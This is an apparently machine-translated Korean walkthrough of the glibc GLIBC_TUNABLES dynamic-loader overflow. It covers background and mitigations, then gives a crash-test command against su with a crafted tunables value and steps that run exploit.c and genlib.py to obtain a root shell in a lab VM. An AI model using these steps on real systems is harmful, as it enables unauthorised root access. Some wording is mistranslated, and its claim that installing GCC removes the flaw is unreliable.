GNU C 라이브러리 (GLIBC)는 GNU 시스템의 C 라이브러리 역할을하며 Linux 기반 시스템에 필수적입니다. GLIBC는 핵심적으로 시스템 통화 및 Open, Malloc, Printf 및 Exit과 같은 일반적인 기능을 포함한 프로그램의 필수 기능을 정의합니다. GLIBC의 중요한 구성 요소 인 Dynamic Loader는 공유 라이브러리를 관리하고 런타임에 연결하여 프로그램을 준비하고 실행하는 데 중요한 역할을합니다.
Recompilation없이 사용자에게 권한을 부여하기 위해 GLIBC_TUNBLES 환경 변수를 통해 사용자는 런타임시 GLIBC의 동작을 수정할 수 있습니다. 응용 프로그램 시작에 영향을 미치는 성능 및 동작 매개 변수를 조정하는 수단을 제공합니다.
동적 로더의 glibc_tunables 처리에서 버퍼 오버 플로우 취약성은 중요한 보안 위험을 초래합니다. 착취는 현지 공격자가 특권을 높이고 잠재적으로 완전한 루트 액세스를 초래합니다. Fedora, Ubuntu 및 Debian과 같은 주요 분포에 대한 성공적인 착취는 심각성과 광범위한 영향을 강조합니다.
이 취약점의 오용 또는 착취는 시스템 성능, 신뢰성 및 보안에 영향을 줄 수 있습니다. 악용 세부 사항은 보류되지만 버퍼 오버플로가 데이터 전용 공격으로 빠르게 변환 할 수 있으므로 위험이 임박합니다. GLIBC를 사용한 인기있는 Linux 배포판은 신속한 인식과 완화의 필요성을 강조 할 수 있습니다.
할당 : 2023 년 10 월 3 일
유형 : 지역 특권 에스컬레이션
영향을받는 버전 : GLIBC 2.34 이상
배포 : Rhel, Ubuntu, Fedora, Debian, Amazon Linux, Gentoo 및 Glibc 완화를 사용하는 기타
업그레이드 : GLIBC 업데이트를 즉시 적용하십시오.
모니터 : 보안 자문에 대한 정보를 유지하십시오.
검토 : 응용 프로그램에서 glibc_tunables 사용량을 평가하십시오.
감사 : 의심스러운 활동에 대한 시스템 로그를 검사하십시오.
Ubuntu 22.04 Ubuntu glibc 2.35-0ubuntu3.1 util-linux의 Su 2.37.2 aslr on
가상 머신 생성에 Ubuntu (버전 22.04.1) ISO를 사용했습니다
성공적인 설치 후에는 아무것도 업데이트 할 필요가 없지만 시스템에서 찾을 수 없기 때문에 GIT 및 GNU Binutils 패키지를 설치합니다. Exploit Python 스크립트를 컴파일하면 오류에 직면하게됩니다.
이 명령을 사용하여 :
$ sudo apt install git
$ sudo apt install binutils
취약한 지 확인하십시오
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)
출력하면 취약합니다.
GNU C 라이브러리 (GLIBC)와 관련된 동적 링커/로더의 버전을 확인하십시오.
$ ldd --version
출력은 glibc 버전을 제공합니다
ldd (Ubuntu GLIBC 2.35-0ubuntu3.6) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
이제 우리는 우리의 기계가 취약하고 루트 특권을 확대 할 준비가되어 있음을 알았습니다.
참고 : 컴퓨터에 GCC를 설치하지 않아야합니다. 설치하면 취약점이 손실되므로 스크립트가 작동하지 않습니다.
GCC가 설치되지 않았으므로 호스트 머신에서 C 프로그램을 컴파일 한 다음 게스트 머신으로 가져와야합니다.
우리는이 명령
$ gcc exploit.c -o (outputname)
로 c 프로그램을 컴파일 할 수 있습니다.
C 프로그램의 출력 파일을 가져 오면 Python (Genlib.py) 스크립트도 가져옵니다.
이제 Python Script
$ python3 genlib.py
컴파일하십시오
컴파일 후 '' '폴더가 생성됩니다.
사용자가 스크립트와 프로그램을 실행할 수 있도록 /TMP 폴더 에서이 작업을 수행합니다.
이제 마침내 우리는 루트 특권을 에스컬레이션하기 위해 프로그램을 실행할 것입니다.
$ ./(nameoftheprogram)
시간이 걸리고 루트 쉘을 얻을 것입니다.
악용이 아니라 권한을 부여 할 수 있습니다!
참조 :